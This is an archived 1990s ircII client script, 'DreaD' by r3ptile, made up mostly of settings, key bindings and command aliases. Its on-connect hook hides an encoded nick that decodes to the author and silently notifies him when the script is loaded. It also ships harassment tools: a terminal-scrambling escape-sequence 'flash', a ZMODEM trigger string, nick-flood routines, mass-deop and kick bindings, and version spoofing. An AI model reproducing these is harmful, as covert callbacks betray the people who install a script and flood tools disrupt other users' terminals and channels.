home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / texts / txtfiles_misc / dread.irc < prev    next >
Text File  |  2001-02-10  |  66KB  |  835 lines

  1. set suppress_server_motd on
  2. # DreaD is 99% original. That means if you take my code, give me credit!
  3. # This code is not orginized in any special way. if your going to rip MY
  4. # original code and ideas, please ask me first.  thank you.      -r3ptile
  5. #
  6. # DreaD has been tested on ircII 2.9_base+lp and works fine.  There have
  7. # been some reported bugs in the msg and notice buffers on older clients,
  8. # especially on 2.8.* but like I said, it works fine on 2.9_base+lp
  9. #
  10. # ADDON AUTHORS:
  11. # to add your help command into the /cmd list, add this
  12. # to your addon:
  13. # ----------------------------------------
  14. # alias h.yourhelpcmd {youroldhelpcmd}
  15. # ^addcmd yourhelpcmd your help command description
  16. # ----------------------------------------
  17. # make sure your help command is under 7 characters. 
  18. #
  19. # do not modify below this line, it will break dread.
  20. eval ^set input_prompt loading..
  21. set novice off
  22. eval ^on ^connect "*" {quote PING $time() $S;wait -cmd //mode $d.cur.nick +i-s+w;@ d.cur.serv = [$S];^set display off;^userhost $decode(HCDDHAHEGJGMGF) -cmd if ([$4]!=[<unknown>]) {^notice $decode(HCDDHAHEGJGMGF) i loaded $d.logo $d.ver}{};^set display on;eval userhost $N -CMD if ([$4]) {@ myuh = [$3@$4]}}
  23. alias e {//echo $*}
  24. clear
  25. set exec_protection off
  26. set auto_unmark_away off
  27. set auto_whowas off
  28. set beep on
  29. set beep_max 3
  30. set beep_on_msg none
  31. set bold_video on
  32. set channel_name_width 12
  33. set lock on
  34. set clock_24hour off
  35. set clock_alarm null
  36. set continued_line  
  37. set flood_warning off
  38. set full_status_line on
  39. set help_window off
  40. set hide_private_channels off
  41. set highlight_char bold
  42. set history 15
  43. set indent on
  44. set insert_mode on
  45. set inverse_video on
  46. set lastlog 44
  47. set lastlog_level all dcc
  48. set max_recursions 250
  49. set no_ctcp_flood on
  50. set scroll on
  51. set show_channel_names on
  52. set show_status_all off
  53. set show_who_hopcount on
  54. set full_status_line on
  55. set status_away  (away)
  56. set user_information  
  57. set status_user  :DreaD:0:
  58. set tab on
  59. set tab_max 5
  60. set logfile dread.log
  61. set status_oper *
  62. set status_clock %T
  63. set status_server  %S
  64. set status_channel %C
  65. set status_window ^
  66. set status_away (away)
  67. set status_mode (+%+)
  68. set status_umode (%#)
  69. set status_mail  (mail: %M)
  70. set status_hold_lines [%])
  71. set status_hold hit enter!
  72. set status_format (%T) %*%@%N%#%S%H%B%A %C%+%I%O%M %W%>%U
  73. bind meta1-[ meta2
  74. bind meta1-O meta2
  75. bind meta2-A backward_history
  76. bind meta2-B forward_history
  77. bind meta2-C forward_character
  78. bind meta2-D backward_character
  79. bind meta2-5 parse_command pageup
  80. bind meta2-6 parse_command pagedown
  81. bind ^X meta2_character
  82. bind ^Xu scroll_backward
  83. bind ^Xd scroll_forward
  84. bind ^B self_insert
  85. bind ^_ self_insert
  86. bind ^V self_insert
  87. bind ^A self_insert
  88. bind ^Z stop_irc
  89. bind ^T parse_command dcc.stuff
  90. bind ^S switch_channels
  91. bind ^X switch_channels
  92. bind ^D parse_command ^type $;\: 
  93. bind ^K meta2_character
  94. bind ^Kj parse_command d.echo kicking $: - last user to join $C;^kick $: last user to join $C
  95. bind ^Kn parse_command d.echo kicking $d.last.nick.change - last user to change nicks in $C;^kick $d.last.nick.change last user to change nicks in $C
  96. bind ^Km parse_command d.echo kicking $, with msg redirection;^kick $, *$,*
  97. bind ^K? parse_command k.help
  98. bind ^W meta3_character
  99. bind ^W? parse_command w.help
  100. bind ^Wk parse_command w.kill
  101. bind ^Wh parse_command w.hide
  102. bind ^Ws parse_command w.show
  103. bind ^Wx next_window
  104. bind ^Wn parse_command w.new
  105. bind ^E parse_command //j -invite
  106. bind ^I parse_command ^d.getmsg 1 $d.msglist
  107. bind ^R parse_command ^d.getmsg -1 $d.msglist
  108. bind ^X^X parse_command d.delnick
  109. bind ^U erase_line
  110. @ b = []
  111. @ v = []
  112. @ _ = []
  113. @ a = []
  114. @ g = []
  115. @ pipe = [:|:]
  116. @ d.ver = [v3.0]
  117. @ d.echo.logo = [(D:)]
  118. @ d.ver.reply = [$d.ver by r3ptile]
  119. @ d.ping = [31337 seconds]
  120. @ d.z = [**B00]
  121. @ d.f = [#8?3\;5h\(0]
  122. @ d.am = [taking a dump]
  123. @ d.bm = [hi]
  124. @ d.msgmax = 20
  125. @ d.awp.list[1] = [*!*user@host.ext]
  126. @ d.abk.list[1] = [*!*user@host.ext]
  127. @ d.abk.reason[1] = [banned]
  128. @ d.ig.list[1] = [*!*user@host.ext]
  129. @ d.ig.number = 1 
  130. @ d.serv = [irc.nol.net]
  131. @ d.awp.number = 1
  132. @ d.abk.number = 1
  133. @ d.nick = [$encode($rand(9999))]
  134. @ d.f.prot = [on]
  135. @ d.rejoin = [on]
  136. @ d.logo = [:DreaD:]
  137. @ d.msg.beep = [on]
  138. @ d.ban.prot = [on]
  139. @ d.idle.time = 3
  140. @ d.nick.flood = 3
  141. @ d.nhp = [on]
  142. @ d.ver.spoof = [off]
  143. @ d.ver.cloaking = [on]
  144. @ d.p.cloaking = [on]
  145. @ d.not.number = 1
  146. @ d.ignore.level = [CTCP MSGS NOTICES]
  147. @ d.not.list[1] = [r3ptile]
  148. @ d.tb.cmd = [PRIVMSG PART JOIN QUIT TOPIC MODE NOTICE KICK NICK INVITE]
  149. @ d.tsu = [^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^]
  150. @ d.dcc.send.busy = [n]
  151. @ dcc.total = 0
  152. @ dcc.cmd.list = [pub offer toggle stats reset help save load tag]
  153. @ dcc.bad.list = [    &]
  154. @ dcc.send.busy = [no]
  155. @ dcc.dl.dir = [$W]
  156. @ boob.fone = [<boobfone!>]
  157. @ cmdtotal = 0
  158. eval @ d.flood.str = [$rand(9)$tolower($encode($rand(9)$encode($rand(999999999999999999999999))$rand(9)))$rand(9)]
  159. eval @ bin.code[0] = [O$rand(2)$rand(2)$rand(2)$rand(2)$rand(2)$rand(2)]
  160. eval @ bin.code[1] = [O$rand(2)$rand(2)$rand(2)$rand(2)$rand(2)$rand(2)]
  161. @ d.cur.nick = [$N]
  162. @ d.cur.serv = [$S]
  163. @ d.f.coll = [Killed (irc.winternet.com (eff.org <- irc.dread.com))]
  164. @ d.f.kill = [Killed (piker (sorry, i dont like straight people))]
  165. @ d.fver[0] = [ircII 2.8.2 FreeBSD 2.1.0-RELEASE :ircII 2.8: almost there...]
  166. @ d.fver[1] = [:Major TCP/IP IRC Client:.98:MS-DOS MBBS/WG]
  167. @ d.fver[2] = [VMS IRC Client 1.7.6]
  168. @ d.fver[3] = [WSIRC 1.14-a - Copyright 1994 Caesar M Samsi csamsi@clark.net TEXT CHANNEL]
  169. on ^002 * #
  170. on ^003 * #
  171. on ^301 * {p.echo $0 is away: $1-}
  172. on ^305 * #
  173. on ^306 * #
  174. on ^314 * {p.echo who was     \($1\);p.echo irc address \($2\@$3\);p.echo irc name    \($5-\)}
  175. on ^333 * {p.echo Topic for $1 set by $2 on $stime($3)}
  176. on ^474 * {p.echo You are banned from $1;^on ^367 * {if (rmatch($N!$myuh $2)) {@ my.ban = [$2];@ my.banner = [$3];@ my.time = stime($4)}};^mode $1 b;wait;p.echo ban  : $my.ban;p.echo by   : $my.banner;p.echo when : $my.time;^assign -my.ban;^assign -my.banner;^assign -my.time;fix.bans}
  177. on ^391 * {if ([$3]==[january]) {@ d.month = 1};if ([$3]==[february]) {@ d.month = 2};if ([$3]==[march]) {@ d.month = 3};if ([$3]==[april]) {@ d.month = 4};if ([$3]==[may]) {@ d.month = 5};if ([$3]==[june]) {@ d.month = 6};if ([$3]==[july]) {@ d.month = 7};if ([$3]==[august]) {@ d.month = 8};if ([$3]==[september]) {@ d.month = 9};if ([$3]==[october]) {@ d.month = 10};if ([$3]==[november]) {@ d.month = 11};if ([$3]==[december]) {@ d.month = 12};d.echo $[3]2 $d.month\/$4/96 \($Z\)}
  178. on ^465 * {p.echo K:Line $0 \($1-\)}
  179. on ^dcc_raw * #
  180. on ^exec "d.telnet* *" #
  181. on ^window "? Connection closed by*" #
  182. on ^ctcp "* % action *" #
  183. on ^raw_irc "*ed as being aw*" #
  184. on ^window "% ??? recursive call to irc_io*" #
  185. on ^window "% ??? no target, neither channel nor query" #
  186. on ^window "% ??? *dgets t*med out.*continuing*" #
  187. on ^window "% % Users on*" if ([$1]==[***]) {@ channel.name = [$4];@ names.list = [$5-];@ all.ops = [$strip(+1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuioplkjhgfdsazxcvbnm'`^_-\{\}[]\\/<>| $names.list)];e *** $b$channel.name$b\ ops: $#all.ops\  nonops: ${#names.list - #all.ops}  total $#names.list\;list.names $names.list;^assign -names.list;^assign -all.ops}
  188. on ^send_notice * {e -> -$0!@*- $1-;@ l.sn = [-> -$0!@*- $1-]}
  189. on ^send_msg * {e -> "$0!@*" $1-;@ l.sm = [-> "$0!@*" $1-];^d.addmsg $0 $d.msglist}
  190. on ^public "% %" {e \($0\) $2-}
  191. on ^send_public "*%*" {e \($N\) $1-}
  192. on ^send_dcc_chat * {e -> =$0= $1-;^d.addmsg \=$0 $d.msglist}
  193. on ^dcc_chat "*" {e =$0= $1-;^d.addmsg \=$0 $d.msglist}
  194. on ^disconnect * {server $d.serv;nick $d.nick}
  195. on -channel_nick "*" {if ([$2]!=[$N]) {@ d.last.nick.change = [$2];if ([$a.d.nickk]==[$1]) {@ a.d.nick = a.d.nick + 1};if ([$a.d.nick]==[3]) {if (P) {//kick $0 $2 $d.logo\nickflood;d.echo nickflood by $2, kicking};@ a.d.nick = 0};^assign a.d.nickk $2;^timer 15 ^assign -a.d.nickk;^timer 15 @ a.d.nick = 0}}
  196. on ^mail * {d.echo email: $1 \(new: $0\)}
  197. on ^mode * p.echo Mode change "$2-" on channel $1 by: $0\.;fix.key $strip(# $1) $M
  198. on ^channel_signoff * p.echo Signoff: $1 \($2-\) $0
  199. on ^invite * {d.echo $0\ invites you to channel $1\;d.echo type ^E to join $1\}
  200. on ^notify_signon * {userhost $0 -cmd if ([$3]) {d.echo signon: $0!$3\@$4}}
  201. on ^notify_signoff * {d.echo signoff: $0!*@*}
  202. on ^disconnect "*" ^serv $d.serv
  203. on ^raw_irc "% KILL *" ^serv $d.serv
  204. on ^window "% ??? Use /SERVER to*" ^serv $d.serv
  205. on ^raw_irc "% privmsg % :ver**" {if ([$d.ver.cloaking]==[on]) {}{if ([$d.ver.spoof]==[on]) {quote notice $d.nicko($0) :VERSION $d.fver[$rand(4)]\};if ([$d.ver.spoof]==[off]) {quote notice $d.nicko($0) :VERSION $d.logo $d.ver.reply\};d.echo CTCP VERSION by $0 detected to $2;d.ig $d.nicko($0) VER}}
  206. on ^raw_irc "% privmsg % :ping**" {if ([$d.p.cloaking]==[on]) {}{quote notice $d.nicko($0) :PING $d.ping\;d.ig $d.nicko($0) PING;d.echo PING from $0 to $2}}
  207. on ^raw_irc "% privmsg % :jupe**" #
  208. on ^raw_irc "% privmsg % :grok**" #
  209. on ^raw_irc "% privmsg % :ord**" #
  210. on ^raw_irc "% privmsg % :cmd**" #
  211. on ^raw_irc "% privmsg % :finger**" #
  212. on ^raw_irc "% privmsg % :echo**" #
  213. on ^raw_irc "% privmsg % :utc**" #
  214. on ^raw_irc "% privmsg % :userinfo**" #
  215. on ^raw_irc "% privmsg % :err**" #
  216. on ^raw_irc "% privmsg % :time**" #
  217. on ^raw_irc "% privmsg % :clientinfo**" #
  218. on ^raw_irc "% privmsg % :*dcc chat*dcc chat**" #
  219. on ^raw_irc "% privmsg % :*dcc send*dcc send**" #
  220. on ^raw_irc "% privmsg % :*^****^*****" #
  221. on ^raw_irc "% privmsg % :******" #
  222. on ^raw_irc "% privmsg % :******" #
  223. on ^raw_irc "% pong *" if ([$0]==[$S]) {^fix.names;@ a.lt = [${time()-mid(1 999 $3)}];if (a.lt==0) {^fix.names;^set status_user  :DreaD:0:}{^fix.names;eval ^set status_user  :DreaD:$a.lt\:}}
  224. on #-window 9 "% % dcc get:*" {if ([$d.awaken]==[on]) {^set beep on;^set beep_max 5;d.echo !wake up! your dcc is done !wake up!;d.echo !wake up! your dcc is done !wake up!;d.echo !wake up! your dcc is done !wake up!;d.echo !wake up! your dcc is done !wake up!;d.echo !wake up! your dcc is done !wake up!}}
  225. on #-join 9 "*" {@ d.last.join.nick = [$0];userhost $0 -CMD if ([$3]) {if ([$P]) {@ d.ccc = [1];while (d.ccc < d.awp.number + 1) {if (rmatch($0!$3@$4 $d.awp.list[$d.ccc])) {//mode $C +o $0;d.echo #$d.ccc $d.awp.list[$d.ccc] is on your op list};@ d.ccc = d.ccc + 1};while (d.ccc < d.abk.number + 1) {if (rmatch($0!$3@$4 $d.abk.list[$d.ccc])) {d.abk $0 abk;d.echo #$d.ccc $d.abk.list[$d.ccc] is on your abk list};@ d.ccc = d.ccc + 1};while (d.ccc < d.ig.number + 1) {if (rmatch($0!$3@$4 $d.ig.list[$d.ccc])) {//ignore $0 PUBLIC;d.echo #$d.ccc $d.ig.list[$d.ccc] is on your auto ignore list};@ d.ccc = d.ccc + 1}}}}
  226. on #-mode 9 "%.% % +o*" {if ([$P]) {if ([$d.nhp]==[on]) {//mode $1 -oooo $3-}}{};d.echo netsplit hack detected by $3-;d.log d.echo netsplit hack by $3-}
  227. ^on ^ctcp "% % page" {;if ([$p.stat]==[on]) {;if ([$pager]==[busy]) {};if ([$pager]==[not]) {@ pager = [busy];^set beep on;^set beep_max 3;d.echo $b$0$b is paging you.$g $g $g;^set beep_max 2;^timer 20 @ pager = [not]}};if ([$p.stat]==[off]) {}}
  228. on ^ctcp "% % dcc send *" {@ mr.dcc = [$0];@ d.dcc.send.file = [$4];@ real.thang = [$7];@ tha.file.size = [${real.thang / 1024}];^assign -real.thang;if ((([$6]>[65536])||([$6]<=[1024])||([$9]))) {d.echo fake dcc from: $b$mr.dcc!$userhost($mrdcc)$b;^dcc close get $mr.dcc;^assign -d.dcc.send.file;^assign -mr.dcc}{d.echo DCC SEND \($b$d.dcc.send.file$b\) \($b$tha.file.size$b\)k from $b$mr.dcc$b;@ d.dcc.send.file = [$4];d.echo type $b\^T$b to recieve $b$d.dcc.send.file$b}}
  229. on ^msg "% *dcc *" {
  230. if ([$dcc.send.busy]==[yes]) {^timer $rand(9) ^notice $0 $d.logo dcc is busy, please try again}
  231. if ([$dcc.send.busy]==[no]) {
  232. if ([$2]==[send]) {if ([$dcc.total]>[0]) {@ dcc.send.busy = [yes];^timer 9 @ dcc.send.busy = [no];//dcc send $0 $dcc.file[$strip(# $3)];@ dcc.file.count[$strip(# $3)] = [${dcc.file.count[$strip(# $3)] + 1}];d.echo sending $0 $dcc.file[$strip(# $3)]}}
  233. if ([$2]==[list]) {{if ([$dcc.total]>[0]) {@ dcc.send.busy = [yes];^timer 9 @ dcc.send.busy = [no];d.echo $0 requested a list of files offered.;//^notice $0 $d.logo msg $N DCC SEND #N to recieve:;@ dcc.count = 1;while (dcc.count < dcc.total + 1) {//notice $0 \(#$dcc.count\:$[2]dcc.file.count[$dcc.count]\) $dcc.file.desc[$dcc.count];@ dcc.count = dcc.count + 1}}}}}}
  234. on -raw_irc "% mode % *" {@ aba = d.nicko($0);if (P) {if ([$aba]!=[$N]&&[$3]==[-ooo]) {kick $aba -ooo;d.log d.echo massdeop by $aba};if ([$aba]!=[$N]&&[$3]==[-oooo]) {kick $aba -oooo;d.log d.echo massdeop by $aba}};^assign -aba}
  235. on -raw_irc "% kick *" {if ([$3]==[$N]) {d.log d.echo you were kicked from $2 by $0;if ([$d.rejoin]==[on]) {quote join $strip(: $2) $k[$strip(# $2)]}}}
  236. on ^public "% % *[h*[j*[7m*" {d.echo flood from $0 scanned;if (P) {kick $0 flood}{}}
  237. on ^public "% % *****" {d.echo flood from $0 scanned;if (P) {kick $0 flood}{}}
  238. on ^public "% % ***" {d.echo flood from $0 scanned;if (P) {kick $0 flood}{}}
  239. on ^public "% % **B*" {d.echo flood form $0 scanned;if (P) {kick $0 flood}{}}
  240. on ^public "* * *" {@ d.d.str = [$strip( $2-)];d.echo $0\@$1\: $decode($d.bw($d.d.str));^assign -d.d.str}
  241. on ^public_notice "% % ****" {d.echo flood from $0 scanned;if (P) {kick $0 flood}{}}
  242. on ^public_notice "% % *[h*[j*[7m*" {d.echo flood from $0 scanned;if (P) {kick $0 flood}{}}
  243. on ^public_notice "% % ***" {d.echo flood from $0 scanned;if (P) {kick $0 flood}{}}
  244. on ^public_notice "% % **B*" {d.echo flood form $0 scanned;if (P) {kick $0 flood}{}}
  245. on -timer * {^d.ping}
  246. on ^ctcp "% % *dcc send #/*" {d.echo fake dcc request from $0}
  247. on ^ctcp "% % ***" {d.echo CTCP FLOOD from $0 to $1}
  248. on ^window "% % *added to notify list*" #
  249. on ^window "% % DCC SEND * request received from *" if ([$1]==[***]) {}{e $1-}
  250. on -idle * {if ([$0]==[$d.idle.time]&&[$d.away]==[n]) {gone auto away;d.echo automatically setting you away};quote PONG $S}
  251. alias p.echo {//echo *** $*}
  252. eval ^if (mylice) {p.echo LiCe is not allowed on IRC.;//quit LiCe is not allowed on IRC}
  253. eval ^if (toolz) {p.echo ToolZ is not allowed on IRC.;//quit ToolZ is not allowed on IRC}
  254. eval ^if (ex) {p.echo PhoEniX is not allowed on IRC.;//quit PhoEniX is not allowed on IRC}
  255. eval ^if (PPVERS) {p.echo PurePak is not allowed on IRC.;//quit PurePak is not allowed on IRC}
  256. eval ^if (TBVERS) {p.echo TextBox is not allowed on IRC.;//quit TextBoX is not allowed on IRC}
  257. eval ^if (ad.version1) {p.echo aDidas is not allowed on IRC.;//quit aDidas is not allowed on IRC}
  258. eval ^if (gg) {p.echo GarOyle is not allowed on IRC.;//quit GargOyle is not allowed on IRC}
  259. eval ^if (mainchan) {p.echo splitSUrfer is not allowed on IRC.;//quit splitSUrfer is not allowed on IRC}
  260. eval ^if (fuckyou) {p.echo zEpHyR is not allowed on IRC;//quit zEpHyR is not allowed on IRC}
  261. eval ^if (lct.toi) {p.echo LiCe is not allowed on IRC;//quit LiCe is not allowed on IRC}
  262. eval ^if (bans_nn) {p.echo FausT is not allowed on IRC;//quit FausT is not allowed on IRC}
  263. eval ^if (igdef) {p.echo AtlantiS is not allowed on IRC;//quit AtlantiS is not allowed on IRC}
  264. eval ^if (cav.v) {p.echo caverns is not allowed on IRC;//quit caverns is not allowed on IRC}
  265. clear
  266. e              $Q@y   sarkazm ascii              .,aQ$$Q@y          $Q@y
  267. e """""""""""" $$$$ """"""""""""""""""""""""""".d$$'. $$$$ """""""" $$$$ """""
  268. e :::::::::::' $$$$ ::::::::::::::::::::::::' d$$$'.: $$$$ :::::::' $$$$ :::::
  269. e ::::::::'.,a$$$$$ ::::'.,a$$Q@a`::::''''' .$$$$'.,a$$$$$ ::::'.,a$$$$$ :::::
  270. e ::::::'.d$$' $$$$ ::'.d$$'$$$$$ :'.,a$$Q@a"""".d$$' $$$$ ::'.d$$' $$$$ :::::
  271. e ::::' d$$$'. $$$$ :'d$$$' $$$$$ .d$$' $$$$ :'d$$$'. $$$$ ' d$$$'. $$$$ :::::
  272. e :::'.$$$$'.: $$$$ .$$$$'. """""d$$$'. $$$$ .$$$$':: $$$$ .$$$$'.: $$$$ :::::
  273. e ::: $$$$$ :: $$$$ $$$$$ ::::'.$$$$'.: $$$$ $$$$$ :: $$$$ $$$$$ :: $$$$ :::::
  274. e ::: $$$$$ :: $$$$ $T$$T :::: $$$$$ :: $$$$ $$$$$ :: $$$$ $$$$$ :: $T$$ :::::
  275. e """ $T$$T "" $$$$ TiT$i """" $$$$$ "" $$$$ $$$$$ "" $T$$ $T$$T "" $iTT """""
  276. e     TiT$i    $T$$ i:iT:      `$$$$"""""""" $$$$$    TiT$ TiT$i    T:ii
  277. e     i:iT:    $iTT :.:i.        '$$b,       T$$T$    i:iT i:iT:    i.::
  278. e     :.:i.    T:ii . .:           `'$$b.    i$TiT    :.:i :.:i.    : ..
  279. e     . .:     i.::    .             `$$$b.  :Ti:i    . .: . .:     .
  280. e        .     : ..                   `$$$$, .i:.:       .    .
  281. e              .                       $$$$$  :. .
  282. eval e                                      T$$$$T$$  . $d.logo $d.ver.reply
  283. e                                      iT$iT    /new      - new commands
  284. e                                      :iT:i    /cmd      - help
  285. e                                      .:i.:    /settings - change config
  286. e                                       .: .    /info     - information
  287. e                                        .      /addon    - addon coding nfo
  288. alias exit signoff
  289. alias quit signoff
  290. alias bye signoff
  291. alias signof signoff
  292. alias signo signoff
  293. alias sign signoff
  294. alias sig signoff
  295. alias gone setaway
  296. alias back setback
  297. alias unaway setback
  298. alias noaway setback
  299. alias j join
  300. alias l leave
  301. alias part leave
  302. alias dop deop
  303. alias m msg
  304. alias k kick
  305. alias p ping
  306. alias n notice
  307. alias wi whois
  308. alias ww whowas
  309. alias w who
  310. alias scan names $*
  311. alias sc scan
  312. alias sv showver
  313. alias away setaway
  314. alias dir exec ls -al
  315. alias rm exec rm
  316. alias ex exec
  317. alias ps exec ps
  318. alias umode //mode $N $*
  319. alias nslookup {if ([$0]==[-o]) {exec -o nslookup $1-}{exec nslookup $*}}
  320. alias uname {if ([$0]==[-o]) {exec -o uname}{exec uname}}
  321. alias uptime {if ([$0]==[-o]) {exec -o uptime}{exec uptime}}
  322. alias cat {if ([$0]==[-o]) {exec -o cat $1-}{exec cat $*}}
  323. alias ls {if ([$0]==[-o]) {exec -o ls $1-}{exec ls $*}}
  324. alias d.ping {^set status_user  :DreaD:?:;quote PING $time() $S}
  325. alias dsay {say $encode($0-)}
  326. alias bki {bk $0;^ig $0 all}
  327. alias lj cycle
  328. alias xdcc dcc
  329. alias re redirect
  330. alias net w.new
  331. alias sflash if ([$0]) {msg $0 $d.f}{say $d.f}
  332. alias szmodem if ([$0]) {msg $0 $d.z}{say $d.z}
  333. alias lsn if ([$0]) {msg $0 $l.sn}{say $l.sn}
  334. alias lsm if ([$0]) {msg $0 $l.sm}{say $l.sm}
  335. alias dirlm lm
  336. alias relm lm
  337. alias reln ln
  338. alias dirln ln
  339. alias topic t
  340. alias wban {if ([$0]==[1]) {//mode $C +b $1!$2@$3.$4.$5};if ([$0]==[2]) {//mode $C +b *!*$1@*.*;if ([$2]) {wban 2 $2-}}}
  341. # msg list idea borrowed from FausT by DrD, and AtlantiS by Deathnite.
  342. # alias 100% original code by r3ptile
  343. alias lm if (([$1])&&([$0]!=[topic])) {msg $0 $d.last.msg[$1]}{if ([$0]) {if (rmatch($0 *1* *2* *3* *4* *5* *6* *7* *8* *9* *0*)) {eval say $d.last.msg[$0]}{if ([$0]==[list]) {@ msg_count = 0;if (msgcount < 1) {d.echo msg buffer is empty}{d.echo $msgcount msg\(s\) in buffer;while (msg_count < msgcount) {@ msg_count = msg_count + 1;d.echo \($[3]msg_count\) $d.last.msg[$msg_count]}
  344. ^assign -msg_count}};if ([$0]==[help]) {d.echo $d.logo msg redirection help;d.echo /lm <list>               $pipe show msg buffer;d.echo /lm <clear>              $pipe clear msg buffer;d.echo /lm <nick/chan> <number> $pipe redir msg number to nick/channel;d.echo /lm <topic> <number>     $pipe redir msg number to topic;d.echo /lm with no syntax redirects the last msg to the channel};if ([$0]==[topic]) {topic $C $d.last.msg[$1]};if ([$0]==[clear]) {@ msg_count = 0;while (msg_count < msgcount) {^assign -d.last.msg[$msg_count];@ msg_count = msg_count + 1};^assign -msg_count;d.echo msg buffer cleared;@ msgcount = 0}}{d.echo no such msg}}{say $d.last.msg[$msgcount]}}
  345. alias ln if (([$1])&&([$0]!=[topic])) {msg $0 $d.last.not[$1]}{if ([$0]) {if (rmatch($0 *1* *2* *3* *4* *5* *6* *7* *8* *9* *0*)) {eval say $d.last.not[$0]}{if ([$0]==[list]) {@ not_count = 0;if (notcount < 1) {d.echo notice buffer is empty}{d.echo $notcount notice\(s\) in buffer;while (not_count < notcount) {@ not_count = not_count + 1;d.echo \($[3]not_count\)  $d.last.not[$not_count]}
  346. ^assign -not_count}};if ([$0]==[topic]) {topic $C $d.last.not[$1]};if ([$0]==[help]) {d.echo $d.logo notice redirection help;d.echo /ln <list>               $pipe show notice buffer;d.echo /ln <clear>              $pipe clear notice buffer;d.echo /ln <nick/chan> <number> $pipe redir notice number to nick/chan;d.echo /ln <topic> <number>     $pipe redir notice number to topic;d.echo /ln with no syntax redirects the last notice to the channel};if ([$0]==[clear]) {@ not_count = 0;while (not_count < notcount) {^assign -d.last.not[$not_count];@ not_count = not_count + 1};^assign -not_count;^assign -notcount;d.echo notice buffer cleared}}{d.echo no such notice}}{say $d.last.not[$notcount]}}
  347. alias wallmsg {wall +o $*}
  348. alias d.pause {@ d.pause = [$" hit enter! "];^assign -d.pause}
  349. alias play {d.echo playing msgs/events in dread away log;load .dread.away}
  350. alias log {window log toggle}
  351. alias bw eval say $d.bw($0-)
  352. alias delete {//exec rm -rf .dread.msg}
  353. alias fk {filter -k $*}
  354. alias fbk {filter -bk $*}
  355. alias pager if ([$0]) {if ([$0]==[on]) {say $d.logo moterola pager has been activated;say $d.logo /ctcp $N PAGE to get my attention;@ pager = [not];@ p.stat = [on];d.echo your moterola pager is now on};if ([$0]==[off]) {^on ^ctcp "*page*" -;@ p.stat = [off];d.echo your moterola pager is now off}}{d.echo $d.logo moterola pager requested by social distortion;d.echo /pager <on>  $pipe turn pager on;d.echo /pager <off> $pipe turn pager off;d.echo when someone does a /ctcp $N PAGE, your terminal will beep 3 times}
  356. alias finger if ([$0]) {if (rmatch($0 *.* *@*)) {d.echo unix fingering $0;//exec finger $0}{userhost $0 -cmd if ([$4]!=[<UNKNOWN>]) {d.echo unix fingering $0:$strip(~ $3)@$4;//exec finger $strip(~ $3)@$4}{d.echo $0 is not on IRC}}}{d.echo type: /finger <nick> or /finger <address>}
  357. alias showver if ([$0]) {msg $0 $d.logo $d.ver.reply}{say $d.logo $d.ver.reply}
  358. alias signoff if ([$0]) {e *** Signoff $N \($d.logo $0-\);//quit $d.logo $0-}{//echo *** Signoff $N \($d.logo\);//quit $d.logo}
  359. alias d.quit {e *** Signoff $N \($0-\);//quit $0-}
  360. alias join {if ([$[1]0]==[#]) {quote join $0-;fix.key $strip(# $0) $1}{quote join #$0-;fix.key $0- $1}}
  361. alias leave {if ([$0]) {if ([$[1]0]==[#]) {//leave $0-}{//leave #$0-}}{//leave $C}}
  362. alias h.e {//echo  |$*}
  363. alias dcc.stuff {d.echo recieving $d.dcc.send.file from $mr.dcc;if ([$dcc.dl.dir]!=[$W]) {^dcc rename $mr.dcc $d.dcc.send.file $dcc.dl.dir$d.dcc.send.file;^dcc get $mr.dcc $dcc.dl.dir$d.dcc.send.file}{^dcc get $mr.dcc $d.dcc.send.file}}
  364. alias nick {@ d.cur.nick = [$*];//nick $d.cur.nick}
  365. alias server if ([$0]) {@ d.cur.serv = [$*];//server $d.cur.serv}{//server $d.serv}
  366. alias t if ([$0]) {//topic $C $0-}{//topic $C $1-}
  367. alias inv if ([$1]) {//invite $0 $1}{//invite $0 $C}
  368. alias who if ([$0]) {//who $0}{//who $C}
  369. alias es {eval say $*}
  370. alias em {eval msg $*}
  371. alias worship if ([$C]) {^say I W0RSHIP CIDICA!}{d.echo you must be on a channel to worship anybody}
  372. alias ipheardeafpeople if ([$C]) {^say YOE, EWHEAT HAZ WACK-AZZ RELAY OP SKILLZ}{d.echo you must be on a channel to phear ewheat}
  373. alias ping if ([$0]) {//ctcp $0 ping}{//ctcp $C ping}
  374. alias nf if ([$0]) {@ a.nick = [$N];@ nick.count = 0;@ total.times = [$1];@ flood.type = [$0];if ([$flood.type]==[ud]) {@ d.nick.1 = [$toupper($N)];while (nick.count < total.times) {quote nick $d.nick.1;quote nick $a.nick;@ nick.count = nick.count + 2};^assign -d.nick.1};if ([$flood.type]==[bw]) {@ d.nick.1 = [$d.bw($N)];while (nick.count < total.times) {quote nick $d.nick.1;quote nick $a.nick;@ nick.count = nick.count + 2};^assign -d.nick.1};if ([$flood.type]==[bn]) {while (nick.count < total.times) {quote nick $bin.code[0];quote nick $bin.code[1];@ nick.count = nick.count + 2}};^wait -cmd //nick $a.nick;^assign -nick.count}{d.echo $d.logo nickflood   /nf <type> <number>  ;d.echo types are:;d.echo ud $pipe UPPER/lowercase nickflood;d.echo bw $pipe sdrowkcab doolfkcin;d.echo bn $pipe O1O1O1 binary nickflood}
  375. alias aa {//mode $C -oooo $0 $1 $2 $3;if ([$4]) {aa $4-}}
  376. alias names {if (![$0]) {//names $C}{//names $0}}
  377. alias voice {//mode $C +vvvv $0 $1 $2 $3;if ([$4]) {voice $4-}}
  378. alias unvoice {//mode $C -vvvv $0 $1 $2 $3;if ([$4]) {unvoice $4-}}
  379. alias repeat {@ aaaaaa = 0;while (aaaaaa < [$0]) {@ aaaaaa = aaaaaa + 1;$1-};^assign -aaaaaa}
  380. alias cycle {@ d.cur = [$C];d.echo cycling $C;quote part $C;quote join $d.cur;^assign -d.cur}
  381. alias ver if ([$0]) {ctcp $0 version}{ctcp $C version}
  382. alias cloak if ([$0]) {if ([$0]==[version]&&[$1]==[on]||[$1]==[off]) {@ d.ver.cloaking = [$1];d.echo version cloaking is now $1};if ([$0]==[ping]&&[$1]==[on]||[$1]==[off]) {@ d.p.cloaking = [$1];d.echo ping cloaking is now $1}}{d.echo $d.logo cloaking;d.echo /cloak version <on/off> $pipe turn version cloaking on/off;d.echo /cloak ping    <on/off> $pipe turn ping cloaking on/off}
  383. alias d.fix.a {@ function_return = [$0-\]}
